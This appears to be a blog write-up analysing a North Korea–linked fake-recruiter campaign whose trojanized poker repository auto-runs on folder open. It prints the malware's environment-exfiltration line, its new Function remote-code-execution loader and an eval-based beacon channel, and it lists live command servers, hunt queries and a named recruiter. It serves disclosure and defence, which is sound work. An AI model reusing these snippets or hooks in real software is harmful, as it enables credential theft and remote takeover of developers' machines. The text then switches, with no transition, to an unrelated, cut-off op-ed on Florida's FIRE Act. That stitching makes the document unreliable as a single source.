The personalization was thin. She had read his LinkedIn and could name his real work, but the pitch materials underneath, the job doc and the repo, were mass-produced rather than built for him. Anne described herself as a partner to Ritual rather than an employee, which conveniently explained away anything that didn’t quite fit.

None of it is new. Fake recruiters and take-home “coding tests” are this group’s standard opening. ESET calls it DeceptiveDevelopment, Palo Alto’s Unit 42 has tracked it for years, Microsoft dates it to at least December 2022, and MITRE files it as G1052.

Everything was a near-copy of something real. The domain, ritualhub.net, was a step off the company’s actual ritual.net. The job description was lifted almost word for word from Ritual’s own pages, same text and same investors, then padded with a product that doesn’t exist: a Web3 casino called MetaPlay, invented only to give my partner a reason to clone a repo and run it.

How the trap works

The clever part is the timing. The repository is a working poker game with something extra wired in underneath. Running it springs the trap, of course, but so does merely opening the folder, before you’ve run anything.

Most developers use an editor like VS Code, or Cursor, and this project included a hidden instruction telling the editor to run a setup command the instant the folder opens, with no click, no prompt, and no confirmation. Opening the folder to look at the code does the same thing as running it would.

From there it does two things, both silent. It collects the passwords, keys, and tokens sitting on a developer’s machine and sends them out. And it opens a channel back to the attackers, who can then send any code they want and have it run, which is how the final tool arrives: software that records your keystrokes and screen and drains your crypto wallets.

The whole time, the app looks like it simply failed to start.

Behind the poker game is a government.

North Korea, the most sanctioned country on earth and one of the poorest, has spent a decade turning its hackers into a revenue operation, and this campaign is one of the steady earners. Security firms can’t agree on a name; the same activity gets called Contagious Interview, DeceptiveDevelopment, and Famous Chollima.

Whatever you call it, it has been run like a business since at least 2022.

It takes two forms, both aimed at the same well-paid, mobile professionals. The first is the one here: a recruiter who is actually a lure. The second is stranger. North Koreans apply for remote jobs at Western companies using stolen identities, get hired, collect salaries, and increasingly steal their employers’ code to hold for ransom, sometimes using AI to swap their faces on video calls, according to the FBI.

The numbers are hard to believe. Socket, which watches open-source software for tampering, is tracking more than 1,700 poisoned packages across five different registries. One October report found 338 of them with over 50,000 downloads, and a later batch used the same trick that was sitting in my partner’s repo.

Real people run it, at least in part. The recruiter who messaged my partner is real: her identity is verified on LinkedIn, she has ordinary social media accounts, and her phone number is Colombian. The developers whose names are on the malicious code are in the same region, Colombia and Argentina, and some of those same names appear in a nearly identical attack that a security executive documented after the group came for him.

Some of those identities may be stolen. But given how tightly they cluster around a recruiter who is clearly real, the likelier explanation is that at least some of these people know, at least in part, what they are doing, the “identity rental“ arrangement North Korea is known for. A name on a malicious commit isn’t proof; I treat the developer identities as indicators rather than accusations. The “recruiter”, however, is an entirely different matter.

The money removes any doubt about the stakes. A woman in Arizona was recently sentenced for running a “laptop farm” out of her home that let North Korean workers pose as employees at more than 300 U.S. companies, bringing in about $17 million; one federal sweep last year raided 29 such farms in 16 states. Treasury estimates the fake-worker scheme alone made close to $800 million in 2024, on top of theft like the $1.5 billion the FBI attributes to North Korea in the Bybit hack.

There is a Russian layer, too.

Some of the campaign’s command servers sit on an EU-sanctioned Russian bulletproof network — the rebranded remains of a host called Stark Industries, whose Moldovan operators the EU sanctioned in 2025 for supporting Russia’s hybrid warfare (Recorded Future). Researchers have separately caught a Russian and a North Korean hacking group operating from the same server (Gen).

Two of the most heavily sanctioned governments on earth are quietly using the same infrastructure. That bugged code that was supposed to be a poker game actually helps pay for a belligerent nation’s weapons program.

How not to be the next one

The defense isn’t technical. It is a habit of mind: treat a stranger’s code as something to be wary of, and don’t do a flattering recruiter the small favor of clicking their link. A company that wants to hire you doesn’t need to watch its private code run on your laptop or to install any meeting software; any “assessment” that requires this is part of the attack. Check the recruiter against the company’s real website, not the message you received or LinkedIn. A domain that is one letter off, or a job description sent from a personal Gmail or ProtonMail account is a red flag. And if you do need to open something you don’t trust, use a throwaway machine or VM with nothing on it — no wallets, keys, important passwords, or access to anything you’d miss.

Engineers can get more specific. Treat cloning and opening a repo, and every npm install, as running someone else’s code. Socket puts it plainly: “treat every npm install as code execution.” That means turning off your editor’s automatic tasks, reading a project’s install hooks before trusting it, and using --ignore-scripts when unsure.

The company version of the problem, the fake employee, is about process. The FBI recommends withholding system access until a background check clears and shipping a new hire’s laptop only to the address on their ID, since that is the step where the laptop-farm scheme becomes visible. KnowBe4, which nearly hired one of these workers, published a candid account that is the best training I have seen on it.

Technical Breakdown and IOCs

Start with the names: One North-Korea-aligned cluster answers to Contagious Interview / G1052 (MITRE), CL-STA-0240 (Unit 42), UNC5342 (Google/Mandiant), DeceptiveDevelopment (ESET), and Famous Chollima (CrowdStrike). Its malware carries just as many labels: BeaverTail, a JavaScript infostealer and downloader first documented by Unit 42 in 2023; InvisibleFerret, a Python backdoor; and OtterCookie, a JavaScript backdoor named by NTT Security Japan in late 2024, whose newer builds absorb BeaverTail’s tricks (Socket, NTT).

What was in the box

You never have to type npm start. You barely have to do anything. The repo ships a .vscode/tasks.json with "runOn": "folderOpen", so opening the folder in VS Code or Cursor auto-runs npm install on its own. The trigger has been caught in the wild before (OpenSourceMalware). For good measure, files.exclude hides the .vscode directory from the editor’s own file tree, so the trap never shows up while you browse.

npm install, in turn, fires the prepare lifecycle script in package.json, which starts the server in the background, and the payload lives there in two moves:

// controllers/auth.js — move 1: exfiltrate the entire environment
axios.post(api, { ...process.env }, { headers: { "x-app-request": "ip-check" } });

// socket/index.js — move 2: remote code execution
const executor = new Function("require", response.data);
executor(require);            // compile + run whatever the C2 returns, with full require()

The first line ships your process environment, the API keys and cloud credentials and tokens, anything the shell has exported, to an attacker endpoint, behind a header dressed up as a harmless geolocation check. The second compiles the HTTP response body into a function with require access, which is arbitrary remote code execution wearing a polite name.

A guard function, validateApiKey(), pretends to gate all this, except it is declared async and called without await, so the returned promise is forever truthy and the check never fires; the bug is load-bearing. And the login path hardcodes const isMatch = true;, which leaves authentication purely decorative.

I am not the only one to have seen this. The public RitualPlay analysis lays out the same new Function("require", response.data) primitive, the same await-less guard, the same x-app-request: ip-check exfil, and the same auto-run chain (gist). What nails our copy to that public sample is a pair of hardcoded throwaway secrets in config.js, a MySQL password Espsoft123# and a JWT key ly27lg35kci85tvgvl0zgbod4, identical to the byte.

Different repo, different victim, one crew. The repo is not a GitHub fork. The API reports fork: false; the project was created on July 3, 2026; and its oldest commit dates to December 2015. No repo carries commits from eleven years before it existed unless someone pushed that history in wholesale. That mismatch is the tell. Instead of clicking “Fork,” which brands the page with a “forked from upstream“ banner and files the project in the parent’s network graph, the operators cloned a real, long-lived open-source project on their own machines, grafted the poker game and the malware on top, and pushed the whole thing up as a brand-new repo.

That buys them two things at once. It cuts the cord to the original: no banner, no network link, and, more to the point, nothing for a scanner to diff against a known-good parent, so the malicious commits never light up as departures. And it borrows a decade of maturity. The inherited history drags along years of commits and trusted names, Zeke Sikelianos among them, whose entire contribution is a six-line README fix from 2015. To anyone who doesn’t check the creation date, the contributor graph whispers established project, real people.

There is one fatal flaw in the trick. Cloning preserves the original commit hashes, and those hashes are the same in every copy the crew pushes. Pick a single inherited one, and I used Zeke’s dab886d, and GitHub coughs up every repo that carries it. Three, here: ours, plus RitualGame/MetaPlay, a second Ritual-impersonating org stood up the day before my partner was hit and still being pushed to as I write this, and Bluwhale-Games/DeepWhale, the same crew wearing a different company’s face, with a different game name over the identical backdoor.

The move meant to erase a trail turned one repo into a map of the whole fleet, three repositories from a single inherited hash. It would turn out to be an undercount, but first we had a live server to reach.

Following it to a live C2

A dead repo is an artifact; a live C2 is intelligence. But the endpoints in this malware are IP-gated. They answer differently depending on who is asking, and the ip-check header is the whole reason they profile the caller. Poking them from a victim’s home connection is exactly how you lose.

So we went slowly. Passive first: certificate-transparency logs and old urlscan.io records, which watch the target from somebody else’s infrastructure. Those told us the exfil endpoint, ipcheck-six.vercel.app/api, had returned HTTP 200 for about a week back in April, and that the loader endpoint in our fork, gamboracle.vercel.app/api, a domain absent from any public reporting I could find, had never been scanned at its /api path at all. Liveness genuinely unknown.

To settle that without lighting ourselves up, we sent a single probe through a commercial VPN exit node in South America, fed the malware decoy environment data in place of real secrets, and saved the reply as inert bytes we never executed. All the danger sits in the eval/new Function step; skip that step and the reply is just text.

Two clean results:

• ipcheck-six.vercel.app/api → HTTP 451, “This content has been blocked for legal reasons.” Vercel had already pulled the heavily-reported endpoint.

• gamboracle.vercel.app/api → HTTP 200, a 4,859-byte obfuscated JavaScript loader. The under-reported one was very much alive.

Two notes on method, which matter more than the finding. That loader is shared: both sibling repos point at the same gamboracle, so it is the cluster’s shared stage-one rather than a per-repo stager, and a single Vercel takedown kills all three lures at once. And checking your egress first is not a ritual you can skip. Tunnels fail quietly, and this C2 saves its full payload for exactly those home IPs, so a skipped check is how the researcher trades places with the victim.

We had the stage-2 loader. The trick now was to read it without running it.

Taking apart the second stage

The loader was minified javascript-obfuscator output: three rotated string-arrays hiding some forty method names behind a self-defending wrapper that neuters console to spite debuggers. The obvious move, reaching for a deobfuscator that “sandboxes” the code and evaluates the string-decoder, still runs the attacker’s program, which I didn’t want to get into.

So I did the decoder’s arithmetic for it. The routine is a pure function, index in and string out, once the arrays are rotated into an order the sample checks against three hardcoded constants (220314, 885586, 301094). I rebuilt that rotation in Python and brute-forced each array until its checksum lined up. Dull and deterministic, but their JavaScript never touched my machine.

Out fell a small beacon. It fingerprints the host, taking the hostname, the OS type and release and platform, and the MAC of the first external interface, then every five seconds fires a GET at a base64-hidden URL, http://51.178.11.181:1224/api/checkStatus, plaintext HTTP, an OVH box in France, carrying the full process.env and a campaign tag in the query string. The tag decodes to the frankly strange phrase crash the bad guys.

The interesting line is the command channel:

const { status, message } = await res.json();
if (status === "error") { try { eval(message) } catch (_) {} }   // "error" IS the run-code signal

The gate opens when the server answers status: "error". When the operator wants code on your machine, the reply is shaped to read, in any casual log, like a request that failed. That inverted flag is the doorway the final-stage stealer comes through. Other researchers have mapped the exact protocol, a :1224 beacon to /api/checkStatus that eval()s the message field on status == "error" and hands back a session ID to track the victim (Kudelski Security); Unit 42 first documented the :1224 C2 family in 2023 (Unit 42). Our sample’s hard C2 (51.178.11.181) is a rotation I haven’t seen published; the protocol around it is a known signature. We took the loader and never beaconed, so their server got no fingerprint and no chance to task us.

The second pass: from three repos to more than forty

The first day’s work stopped at one live loader, one command server, and three repositories off a shared commit. The hash only catches clones that kept the original history intact, and it says nothing about the hands pushing them. So the next question wasn’t what these repos share, it was who keeps committing this code and turned three into more than forty.

Git writes two names on every commit: an author and a committer. The crew uses the split on purpose. The author is a borrowed developer, one of the Colombia-and-Argentina names, some real, some rented, but the committer, on every weaponized repo I could find, is the same throwaway address, coinstar@gmail.com.

Ask GitHub for everything that account has touched and the handful of Ritual knock-offs opens into an assembly line: more than forty live repositories, each a working app with the same class of backdoor stitched in, each wearing a different real company’s face. Ritual and Bluwhale, yes, but also 0G Labs, Dapper Labs, EverDreamSoft, Xaya, Alchemy, Moralis, ChainFlip, Celestium, even a counterfeit “TradingView.”

The names run to a formula: a real Web3 or AI firm, a “Play” or “MVP” or “Verse” suffix, and a fresh throwaway org to hold it. The oldest were stood up in August 2025. This was not a campaign aimed at my partner; it was an operation that had been running the better part of a year whose strategy I recognized from Iraq, where we called it spray and pray.

The shooter doesn't bother to aim; he simply pulls the trigger in some general direction and hopes for a lucky hit.

Subscribe now

Following the plumbing, not the code

The inherited hash was the small discovery, the one that found the three copies that happened to preserve their git history. The committer was the large one: it found the operator, and through the operator, the fleet. One persona with more than forty storefronts and a rotating cast of borrowed faces on the commits. I pulled the source of every one and found the backdoor in all but one, a security researcher’s copy kept for study.

More than forty repositories meant as many copies of the loader address to read, and reading them turned gamboracle from a single endpoint into a rack of them. Each group of impersonations points at its own stage-one loader on Vercel’s free tier, addresses like apiformeta, ip-testcheck, project-mjecx, astrahub, and more, the same disposable trick, one front-end per cluster of lures. A newer generation is fussier: endpoints like vscode-settings-8140-self.vercel.app/api/settings/windows that hand back a different payload depending on the victim’s operating system. And pulling each repo’s entire source, not just the obvious files, surfaced the stage-two servers the loaders don’t carry in plain sight, more :1224 boxes hardcoded into the code, among them 51.178.11.177, a second OVH machine one address over from the first, wired into nine of the fleet’s repos.

Then we stopped reading their code and started reading their landlord.

The :1224 servers cluster on one US bulletproof host, Majestic Hosting Solutions, AS396073, the network the SpinServers brand runs on, and the operators leave the same two doors open on each box: 1224 for the malware, 3389 for the remote desktop they manage it from. That pair is a fingerprint, and a fingerprint is a Shodan query: asn:AS396073 port:1224. It returned a server that appears in none of the repositories, 216.250.249.179, a machine found by looking at the building, not the tenants. A single bare TCP connection out through the same VPN exit, no data sent, just a knock, and it answered: live and listening. Their code showed us where they had been; their hosting showed us where they are.

Which of the loaders were still armed we settled without going near them, by handing each URL to urlscan.io, whose scanners fetch from their own infrastructure rather than ours. Four came back with a 200 and a fresh payload, gamboracle, apiformeta, ip-testcheck, and project-mjecx, all live on July 12. Two of the OS-aware endpoints answered 403: alive, but refusing anyone who doesn’t ask in the malware’s exact voice. The rest Vercel had finally pulled. The takedowns are landing; the operators refill faster than they drain.

One pivot went nowhere, and the nowhere is the finding. The command servers wear almost-plausible reverse-DNS names, scimedopenpublisher.info, stayinsunshine.com, wanderingboxbar.com, and I expected them to unravel into more infrastructure. They don’t. One is a stranger’s WordPress blog, one is an expired domain a registrar has parked, one resolves to nothing at all. The crew sets the reverse-DNS on their C2 boxes to arbitrary innocuous or discarded domains they don’t own, so the raw address reads as unremarkable in a log. Chase the pretty names and you find civilians.

The signal was never the name; it is a bare :1224 sitting behind a hostname that doesn’t belong to its neighborhood.

Coda: hacking, but legal

The companies being impersonated by this operation apparently have brands anyone can borrow and no way to stop them. For example, 0G Labs has warned its own candidates in public for months that only LinkedIn can remove a fraudulent profile and that LinkedIn does not, and the impersonation has run on regardless.

A company can warn its applicants and report the accounts, and there it stops, because the one lever that would settle it belongs to the platform and the platform does not pull it. Why it does not, and why the impersonator’s account carries the same verified badge as 0G’s own founder, is the subject of the companion to this piece. The recurrence, the same lure returning under one borrowed name after another — and at times with the same name for months on end — is the point.

I’m naming the “recruiter” who performed this initial stage of this attack. Her alleged name is Anne Plazas Parra — the account is LinkedIn’s anne-plazas-parra-68a880253, verified by the platform and based in Bogotá, with matching profiles under the same name on Instagram (anne914_p) and Facebook. Her own LinkedIn profile lists her as an HR Business Partner at 0G, yet the job she pitched my partner was at Ritual, with 0G never mentioned. The same verified account claimed one company and recruited for another.

Meanwhile, 0G Labs has confirmed that Parra is not employed by the firm and has never worked there.

While a name on a malicious commit is not proof, and I suspect some of these identities may be rented or stolen, Anne is not a simple name on a commit. In this case, what names her is not one act but a coordinated one, and coordination can’t be accounted for through some innocent explanation.

Walk the sequence: the day of the initial scheduled call, she messaged from her LinkedIn account to confirm my partner was getting on the call. On the day the call actually happened, she did not appear to run the interview herself; she seamlessly handed my partner off to a man who went by a name he recalls as “Doran”, who spoke English with a significant (European? Eastern European?) accent, and who killed his own video the instant the call began and blamed his bandwidth — all with the racket of a busy call center in the background.

Video off on sight is a documented signature of these interviews, and the accent did not match a woman in Bogotá nor a company called Ritual, but neither of those alone is the tell. The tell is what happened at the moment of detection. My partner was walked to the step the whole call was built around — cloning and running the repository — and when his check on it came back naming it malware and he said so out loud, the interviewer hung up and the recruiter rapidly blocked him across every platform inside the same hour. No message before it, none after.

An innocent freelancer whose candidate gets cold feet does not vanish in lockstep with a separate interviewer she handed off to at the exact second the payload is named. Two people reacting as one, on two channels, the instant the operation is burned is a kill switch and not a likely coincidence.

The only party that could take the profile down has given no sign it would. 0G had spent months saying in public that only LinkedIn can remove a fraudulent profile and that LinkedIn does not, and the impersonation ran on regardless.

I reported the account to LinkedIn all the same. I did not attempt to contact the account directly; it had already blocked my partner mid-operation, and warning an active operator of a pending story serves no one. The profile is still there as I publish, verification badge and all, ready to open the next conversation with the next engineer — all this despite the fact that CTO Morgan Greff named her directly on LinkedIn months ago!

Sadly, naming her is all that is left once the only institution that could act has declined the job.

Disclosure timeline

• 2026-04-07 → 05-18: attacker prep. The fake “Open Roles at RITUAL” doc is created (Apr 7), the backdoor is committed to RitualProg/MetaPlay (May 4), and the lookalike ritualhub.net is registered (May 18).

• 2026-07-02: first LinkedIn contact from the recruiter, “Anne.”

• 2026-07-08: Anne messages to confirm my partner is getting on the call the next day.

• 2026-07-09: the video call, run not by Anne but by a male interviewer, “Doran,” who kills his video at the start; the “pull down the code” ask; the clone into a throwaway VM where his own check flagged it as malware, which is what started all of this. Within the hour, once my partner names the repo as malware, the interviewer hangs up and Anne blocks him across every platform. Same day: the full analysis (defang → passive recon → a single VPN’d decoy probe → deobfuscation → stage-2 C2 51.178.11.181:1224), the shared-commit pivot that surfaced the sibling fleet, and disclosure to Vercel, OVH, Namecheap, GitHub, and LinkedIn, all acknowledged receipt, plus a heads-up to 0G Labs. Takedowns pending at publication.

• 2026-07-11: second pass. A pivot on the operators’ committer address (coinstar@gmail.com) expands the fleet from three repositories to more than forty, across a dozen impersonated companies; a full-source harvest of each surfaces additional Vercel loaders and more hardcoded :1224 stage-two servers, including 51.178.11.177. Disclosure to Vercel and GitHub expanded accordingly.

• 2026-07-12: a Shodan sweep of the operators’ bulletproof host (AS396073) surfaces a live command server, 216.250.249.179, that appears in none of the repositories, confirmed with a zero-byte TCP probe; urlscan confirms four stage-one loaders still serving. With the reported profile still live and LinkedIn yet to act on it, the recruiter is named in this post.

Appendix: Indicators of Compromise

• Malicious repo: github.com/RitualProg/MetaPlay (trojanized fork; live at writing)

• Fleet siblings (found via SHA pivot): RitualGame/MetaPlay (live, pushed 2026-07-09), Bluwhale-Games/DeepWhale (impersonates Bluwhale); share base commit dab886d; both point at the same gamboracle/ipcheck-six C2

• Stage-1 RCE loader C2: https://gamboracle.vercel.app/api (HTTP 200, live 2026-07-09)

• Stage-1 env-exfil C2: https://ipcheck-six.vercel.app/api (HTTP 451 / taken down 2026-07-09)

• Stage-2 hard C2: http://51.178.11.181:1224/api/checkStatus (OVH FR; PTR e1.scimedopenpublisher.info)

• Loader sample: SHA-256 28c9d28477ba63486a086bc02a82bf9c2734df20f2b9f37b8e0aabf3cd03833d (4,859 B, obfuscated JS)

• Campaign tag: base64 Y3Jhc2ggdGhlIGJhZCBndXlz = “crash the bad guys”

• Social-engineering infra: ritualhub.net, crew@ritualhub.net, michael.peter.hq@gmail.com, calendly.com/ritual-join; recruiter persona “Anne” (named in the second-pass table below), interviewer “Doran”

First-hand, second pass (2026-07-11/12; found by pivoting from the incident above):

• Operator committer (the pivot): coinstar@gmail.com, the committer on 40+ live repos; enumerate via GitHub commit search. Author fields carry the borrowed developer identities; the committer is constant.

• Fleet scale: 40+ repos (43 and climbing at publication) impersonating Ritual, Bluwhale, 0G Labs, Dapper Labs, EverDreamSoft, Xaya, Alchemy, Moralis, ChainFlip, Celestium, TradingView; oldest ~Aug 2025

• Stage-1 loaders (Vercel), live 2026-07-12: apiformeta.vercel.app/api, ip-testcheck.vercel.app/api, project-mjecx.vercel.app/api (HTTP 200, serving), alongside the still-live gamboracle

• Stage-1 loaders, taken down / gated: astrahub, rgg-test, rgg-vercel, test-g-acs, apiserver-jade (/api/data, HTTP 451); coreviewer (/task/{os}?token=), 0g-auth-check (/api/validate?token=); OS-aware vscode-settings-529 / vscode-check-mo2 / vscode-settings-8140-self (/api/settings/{os}, 403/404)

• Additional stage-2 hard C2s (:1224): 51.178.11.177 (OVH; hardcoded in 9 repos); 216.250.251.187, 147.124.212.180 (Majestic); 216.250.249.179, live 2026-07-12, found via Shodan, in no repo

• Stage-2 hosting hub: Majestic Hosting Solutions, AS396073 (SpinServers network); operator boxes expose port 1224 + port 3389 (RDP)

• Hunt queries: Shodan asn:AS396073 port:1224; GitHub committer-email:coinstar@gmail.com and hash:dab886d…

• C2 reverse-DNS (camouflage, DO NOT block): scimedopenpublisher.info, stayinsunshine.com (a real WordPress site), wanderingboxbar.com (expired/parked). PTRs the crew sets on their C2 IPs; not their infrastructure, and in two cases someone else’s

• Recruiter (named; witting facilitator): “Anne Plazas Parra”. LinkedIn anne-plazas-parra-68a880253 (identity-verified, Bogotá, live at publication; profile lists 0G as employer while the approach pitched Ritual); Instagram anne914_p; Facebook profile.php?id=61558233095412. Assessed witting on coordinated behavior, not a borrowed byline: she was the persistent front, confirmed the call the day before, handed off to a separate interviewer who cut his video on sight, and blocked the target across every platform within the hour the payload was named, in lockstep with the interviewer’s hang-up.

Corroborated with public reporting (see gist, reymom.xyz, AllSecure):

• Sibling repos (attacker-controlled orgs; 0G-Labs-IO and 0g_labs impersonate 0G Labs, ritualPlay-Net impersonates Ritual): ritualPlay-Net/RitualPlay, 0G-Labs-IO/MGVerse, bitbucket.org/0g_labs/rollplay-i

• Sibling stage-2 C2s: 216.250.249.176:1224 (Majestic Hosting / SpinServers, AS396073, Carrollton TX); 104.192.42.117:3000 (EuroHoster / AS207728, per AllSecure)

• Wider-cluster C2 IPs (hosting WHOIS-verified): 107.189.16.154:8353 (FranTech / PonyNet, US) · 5.180.30.30:4558 (THE-HOSTING / WorkTitans B.V., NL) · 31.222.238.61:4558 (P.Q. Hosting / Weiss Hosting Group, Chișinău, Moldova)

• Same-actor tell: config.js secrets Espsoft123# (MySQL) + ly27lg35kci85tvgvl0zgbod4 (JWT), byte-identical across copies

• Committer-email IOCs (per AllSecure; recur across both repos): coinstar@gmail.com, webvlada2024@gmail.com, randhawamanpreet37@gmail.com, ignusmart@gmail.com, mjlescano@protonmail.com, Pourcheriki@gmail.com, aaronhiroto.bm@gmail.com, lxin6793@gmail.com. Indicators, not accusations; some may be stolen/rented identities.

• Campaign fingerprints: campaign ID env070722; misspelled detection string deps-theard; extra stagers oracle-reg-check.vercel.app, ip-checking-notification-pic.vercel.app

• Code signatures: header x-app-request: ip-check; new Function("require", response.data); .vscode/tasks.json runOn: folderOpen; package.json prepare hook; :1224 + /api/checkStatus, status:"error" → eval

The command servers are scattered on purpose: FranTech in the US, SpinServers in Texas, THE-HOSTING in the Netherlands, and P.Q. Hosting in Moldova. The last two are the same EU-sanctioned Russian bulletproof network under two names, routed as one (AS209847), so no single provider or registrar can pull the whole thing down at once.

(IOCs from third-party reports that I could not independently verify against primary sources are deliberately omitted.)

Credits and prior work

This analysis gratefully leans on those of other researchers. The nearest match to our own incident is Christian Papathanasiou of AllSecure, a security CEO who was targeted by the same crew and reverse-engineered their malware out loud; his committer-email indicators and infrastructure map thread through the appendix above. Adib Hanna and the researcher writing at reymom.xyz each cracked open sibling repositories and confirmed details we could otherwise only watch first-hand. OpenSourceMalware first pinned down the folder-open auto-run technique, and Kudelski Security the beacon protocol I decoded by hand. The broader campaign has its shape thanks to the threat-intelligence teams at Socket, Palo Alto Unit 42, Google/Mandiant, ESET, CrowdStrike, Microsoft, and NTT Security Japan, who gave OtterCookie its name.

A separate thanks to the two who wrote from the receiving end. Papathanasiou and KnowBe4, whose CEO published his own company’s near-miss, both chose to describe being targeted instead of quietly moving on. The field is measurably better for it, and this piece is a direct beneficiary.

One last credit, of a different kind. The malicious repo is a weaponized copy of a legitimate open-source project, and the real developers whose honest work was grafted into it to lend it a decade of false history, Zeke Sikelianos and the base project’s actual maintainers among them, are victims here, not participants. Read their commits as what they are: evidence of the theft, not proof of complicity.

Further reading

• Socket: Contagious Interview across 5 ecosystems · 338 npm packages · GitHub infrastructure

• Palo Alto Unit 42: original BeaverTail/InvisibleFerret disclosure · fake recruiters

• Google/Mandiant: UNC5342 adopts EtherHiding

• ESET: DeceptiveDevelopment · CrowdStrike: Famous Chollima · MITRE: G1052

• NTT Security Japan: OtterCookie · Kudelski: checkStatus beacon analysis

• FBI IC3: data extortion · hiring red flags · Bybit/TraderTraitor · DOJ: nationwide laptop-farm actions · Treasury: sb0416

• AllSecure: North Korea Tried to Hack Our CEO Through a Fake Job Interview (sibling incident: the same generic base project under the attackers’ “0G RollPlay” branding, with the shared ipcheck-six stager and the same committer identities)

On July 1, a new Florida law voided contracts and rewrote a chunk of the state’s criminal code. It extinguished decades of municipal friendship with cities abroad. If you’re, say, a Chinese green card holder in Miami hoping to build a family through surrogacy, word of this may reach you through a call from your fertility clinic, which as of this month cannot write you an enforceable contract because Florida now files your family plans under national security.

Lawmakers named it the Foreign Interference Restriction and Enforcement (FIRE) Act. It moved through the Legislature as HB 905 and collected Governor Ron DeSantis’s signature on May 8. While hostile foreign governments are the advertised target, its reach runs to legal immigrants decades into their Florida lives and to protesters whose politics irritate a prosecutor. Even students got swept in; a public school’s exchange program with a partner classroom abroad is terminated the moment it runs through an agreement with the wrong country’s institutions.

Nothing this sweeping has ever passed in any state under a banner of national security. It passed anyway, 86 to 20 in the House and 28 to 11 in the Senate, over objections that never had the votes to matter and never found much of an audience beyond the chamber.

Give the law’s defenders their due; the threat they describe really does exist. Beijing runs influence operations against American state and local officials; the FBI has been saying so for years, and the United Front Work Department that Florida’s new ethics training calls out by name is a functioning arm of an authoritarian party. Foreign intelligence services recruit sources here and move money here, and exiled dissidents are harassed on American streets by the governments they fled. A state stocked with ports and research universities has honest reasons to want defenses, and counterintelligence is real work that somebody has to do.

What this law does to that mission is the problem. Handed a genuine threat, Florida reached for tools that will hurt bystanders and let the connected off with a slap on the wrist, borrowing along the way from the procedural habits of the closed and oppressive societies it claims to oppose.

An open society that copies its enemies’ paperwork has lost the plot.

Here is what the FIRE Act does, in plain terms.

Fifteen years for a state of mind

Deep in the Act sits a new criminal statute, section 775.08255.

Any crime on Florida’s books, from petty theft up through the gravest felony, can be upgraded one full level of severity if a prosecutor chooses to charge it that way and persuades a jury it was committed “for the purpose of benefiting, promoting, or furthering the interests of” a foreign government or terrorist organization. The statute’s operative word is “may.” Nothing about the enhancement is automatic; it is an option sitting on the desk of each of Florida’s twenty elected state attorneys, and identical conduct by two defendants can end fifteen years apart depending on which of them the state decides deserves it. The mandatory minimum is not reserved for the worst cases: it attaches to any first-degree felony or life felony under the section, so a second-degree felony reclassified upward walks straight into a fifteen-year floor beneath which a judge cannot go.

Review the trigger for this crime. Actual espionage isn’t required, and neither is foreign money or so much as an email to a foreign agent; the enhancement turns on purpose, a state of mind, and the statute never explains what is specifically involved in “furthering the interests” of a foreign government.

Actual adversaries aren’t required. Elsewhere in the text, the law confines itself to seven named “countries of concern” (China, Russia, Iran, North Korea, Cuba, Venezuela under Maduro, and Syria), but the criminal enhancement borrows a wider definition, sweeping in every government on Earth.

Even Canada counts.

Run the scenario. A demonstrator at a Gaza protest gets arrested for blocking a road, the sort of charge that normally ends in a fine, and a prosecutor argues the act was meant to further a foreign government’s interests. Suddenly, the misdemeanor has grown teeth, and what fed it was the defendant’s politics. Against that outcome, the statute’s text offers no obstacle. American history, with its vague security laws and inconsistent enforcement, offers no comfort. Mandatory minimums sharpen the danger by shifting sentencing power from judges to prosecutors, who can now dangle fifteen years over a defendant until a plea looks rational, even to the innocent.

Serious espionage statutes read differently. Federal law goes after conduct, acting at a foreign power’s direction or concealing foreign funding, and describes what spies do. Florida’s enhancement describes nothing at all. Hanging fifteen years on a thought suggests less a confident democracy hunting foreign agents than a nervous one hunting its critics.

Twenty elected state attorneys now have this weapon within reach. Whoever gets charged first will tell us what it was built for.

Your passport, your family

The cruelest provision is also the one that broke the bill. HB 905 moved through its committees unanimously, 16 to 0 in the House and 11 to 0 in the Senate, a national-security package both parties could sign. Then the surrogacy amendment arrived on the floor, and the coalition cracked along its seam. Democrats objected that the language had never been vetted by adoption or surrogacy attorneys and could reach families adopting from countries like China; Senator Tina Polsky protested that lawmakers had heard zero expert testimony and had no way to understand the complexity of the agreements they were about to void. They were outvoted, the amendment stayed, and the bipartisan bill became a party line bill. The objections were made, recorded, and then amplified by no one: no national civil-liberties organization, no editorial board outside Florida, no institution with the reach to make a legislature care.

Losing an argument is ordinary. What happened here is that the argument was held in an empty room.

What the amendment did: surrogacy contracts and preplanned adoption agreements are banned for anyone who is a citizen or resident of a country of concern, and such contracts are now “void and unenforceable” in Florida as a matter of official public policy.

Citizen or resident. Under that wording, a Chinese intelligence officer and a Chinese-born cancer researcher, twenty years in Tampa with a green card and a tax bill heavier than most legislators’, stand equally barred. So does a Cuban citizen in Hialeah, the city with the highest concentration of Cuban Americans in the country. Whether a couple may build a family through surrogacy, an option open to every other Floridian, now hangs on their passports. No hearing gets offered and no individual assessment made, and nowhere does the law account for what threat to anyone’s security a surrogacy contract could conceivably pose.

The legislative record never explains it, but the Governor did, at the signing, in his own words:

“I know we’re hoping that the Supreme Court is going to interpret the 14th Amendment so that we can put a stop to some of the people that are coming here for a month, having birth, and then going back to China.

That’s part of an operation. Why would we let that that happen and grant citizenship under those circumstances?”

There is the provision’s purpose, stated by the man whose signature enacted it: not espionage or infrastructure, but birth and the citizenship it confers.

The state said the quiet part at the podium.

Security policy that can’t sort a spy from a taxpayer has stopped being security policy and become something else wearing the uniform. It also kneecaps its own mission because the immigrants it punishes are frequently the very people who fled these regimes, and their rough handling by American governments makes propaganda gold for Beijing and Havana. Each green card holder turned away from a Florida clinic amounts to a talking point manufactured free of charge on behalf of those regimes.

The idea behind the provision has a long pedigree — none of it flattering. A century ago, states wrote alien land laws to keep Asian immigrants from owning property. These statutes are now taught as a national embarrassment. Florida exhumed that logic in 2023 with SB 264 to restrict land ownership by citizens of these same countries; Chinese immigrants sued with ACLU backing, calling the law racial exclusion in national security costume. That challenge died in November 2025, when a divided federal appeals panel ruled the plaintiffs lacked standing to sue and left the law in force without ever deciding whether it was constitutional; the plaintiffs folded their case soon after. No court has upheld this architecture on the merits, and no court has been permitted to examine it. Florida read the silence as permission and extended the design from property into parenthood.

First they came for the house. Now they’re back for the family.

Diplomacy, deleted

Elsewhere, the Act proceeds by amputation. Every agreement between a Florida public body and a country of concern, sister-city relationships included, died by operation of law on July 1; cultural exchanges that outlasted the Cold War were unwritten by a single statutory sentence. Grants from those countries or from entities they control are now off limits to school districts and cities alike.

